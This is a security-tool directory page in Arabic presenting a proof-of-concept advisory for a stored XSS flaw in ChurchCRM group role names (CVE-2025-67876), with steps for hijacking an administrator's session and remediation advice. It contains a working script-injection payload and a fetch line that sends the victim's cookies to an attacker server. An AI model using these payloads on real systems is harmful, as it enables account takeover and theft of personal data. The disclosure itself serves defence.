Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-67876 — إثبات مفهوم مفصل لـ CVE-2025-67876 يوضح XSS المخزنة في أسماء أدوار مجموعة ChurchCRM مما يؤدي إلى اختطاف جلسة المسؤول، مع شرح كامل للاستغلال وتوصيات المعالجة. | Kitploit
أدوات/GitHubGitHub/lukasz-rybak/cve-2025-67876
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالأوراق والأبحاثالتعلم والتعليم
GitHublukasz-rybak/cve-2025-67876

CVE-2025-67876

إثبات مفهوم مفصل لـ CVE-2025-67876 يوضح XSS المخزنة في أسماء أدوار مجموعة ChurchCRM مما يؤدي إلى اختطاف جلسة المسؤول، مع شرح كامل للاستغلال وتوصيات المعالجة.

عرض المستودع
2منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-67876: ChurchCRM تحتوي على XSS مخزَّن في اسم دور المجموعة يؤدي إلى اختطاف جلسة المسؤول

نظرة عامة

الحقلالتفاصيل
CVE IDCVE-2025-67876
الخطورةحرج
التنبيهعرض التنبيه
اكتشفهLukasz Rybak

المنتجات المتأثرة

  • ChurchCRM/CRM

التفاصيل

الملخص

توجد ثغرة XSS مخزَّنة في ChurchCRM تسمح لمستخدم منخفض الصلاحية لديه صلاحية "إدارة المجموعات" بحقن JavaScript دائم في أسماء أدوار المجموعات. يتم حفظ الحمولة في قاعدة البيانات وتنفيذها عندما يطلع أي مستخدم (بما في ذلك المسؤولين) على صفحة تعرض ذلك الدور، مثل GroupView.php أو PersonView.php. يسمح هذا باختطاف الجلسة بالكامل والاستيلاء على الحساب.

التفاصيل

السبب الجذري هو نقص التحقق من صحة المدخلات وترميز المخرجات في معالجة أسماء أدوار المجموعات.

عند تحرير مجموعة في GroupEditor.php، يمكن للمستخدم تعديل أسماء الأدوار. لا يقوم التطبيق بتنظيف المدخلات (على سبيل المثال، لا strip_tags، ولا htmlspecialchars، ولا تحقق من ناحية الخادم). يتم تخزين القيمة في جدول قاعدة البيانات list_lst.

لاحقًا، يتم حقن القيمة المخزنة مباشرة في HTML دون ترميز:

  • في GroupView.php، تظهر أدوار المجموعة داخل خلايا جدول ملفوفة في <span>.
  • في PersonView.php، تظهر أدوار المستخدم المعينة تحت "المجموعات المعينة". نظرًا لعدم تطبيق أي ترميز، يتم تنفيذ أي HTML أو JavaScript مخزنة في اسم الدور في متصفح الضحية.

يمكن للمستخدم منخفض الصلاحية (مع صلاحية إدارة المجموعات) وبالتالي رفع صلاحياته إلى مسؤول كامل عن طريق حقن JavaScript في دور وتعيين ذلك الدور لمسؤول.

PoC

المرحلة 1 - إعداد المهاجم

إنشاء x.js على جهاز يتحكم به المهاجم:

fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));

خدم الملف:

python3 -m http.server 800

المرحلة 2 - حقن حمولة XSS

  1. تسجيل الدخول كمستخدم لديه صلاحية إدارة المجموعات.

    صورة
  2. الانتقال إلى: المجموعات ← قائمة المجموعات ← اختيار أي مجموعة ← الإعدادات.

  3. في قسم "أدوار المجموعات"، تحرير دور موجود أو إنشاء دور جديد.

  4. إدراج حمولة ضارة:

"><script src=//172.20.0.1:800/x.js></script>

صورة

في قائمة أدوار المجموعات، انقر على "افتراضي" بجوار الدور الذي يحتوي على حمولة XSS المحقونة. يضمن ذلك تعيين الدور الضار تلقائيًا لأي مستخدم يضاف إلى المجموعة، مما يزيد من احتمالية أن يقوم مسؤول بتشغيل XSS عند عرض ملفه الشخصي. صورة انقر على "حذف" بجوار الدور الافتراضي السابق، عادةً "عضو". يؤدي إزالة الدور الافتراضي النظيف إلى إجبار النظام على استخدام الدور المحقون بـ XSS لجميع التعيينات المستقبلية، مما يضمن التنفيذ عندما يطلع الضحية على أي صفحة تعرض دوره المعين. صورة

  1. حفظ اسم الدور. صورة

المرحلة 3 - تعيين الدور الضار لضحية

  1. الذهاب إلى صفحة عرض المجموعة.

  2. إضافة أي مستخدم كعضو في المجموعة (مثل مسؤول Church).

    صورة
  3. اختيار الدور الضار من القائمة المنسدلة.

  4. حفظ التعيين.

    صورة

المرحلة 4 - تنفيذ XSS

عندما يزور الضحية (المسؤول):

  • ملف المستخدم الخاص به: PersonView.php

    صورة
  • صفحة عرض المجموعة: GroupView.php

يتم تنفيذ JavaScript المخزنة فورًا.

على خادم المهاجم، ستظهر الطلبات الواردة: صورة

صورة

يؤكد هذا الاستيلاء الناجح على الحساب.

التأثير

  • XSS مخزَّن
  • اختطاف جلسة المسؤول بالكامل
  • رفع الصلاحيات من مستخدم منخفض الصلاحية إلى مسؤول النظام بالكامل
  • الكشف عن جميع البيانات الشخصية الحساسة المخزنة في ChurchCRM

CWE

CWE-79: تحييد غير صحيح للمدخلات أثناء إنشاء صفحة الويب ('Cross-site Scripting')

التوصيات

  • تطبيق ترميز المخرجات (htmlspecialchars) لجميع عرض أسماء الأدوار.
  • التحقق من صحة أسماء الأدوار وتنظيفها على جانب الخادم.
  • مراجعة الحقول القابلة للتحرير الأخرى القائمة على القوائم لثغرات مماثلة.
  • النظر في استخدام مكتبة ترميز مركزية أو محرك قوالب.

المراجع

  • https://github.com/ChurchCRM/CRM/security/advisories/GHSA-j9gv-26c7-3qrh

إخلاء المسؤولية

تم الكشف عن هذا CVE بشكل مسؤول وفقًا لممارسات الكشف عن الثغرات المنسقة. المعلومات المقدمة هنا لأغراض تعليمية ودفاعية فقط.

تنزيل الأداة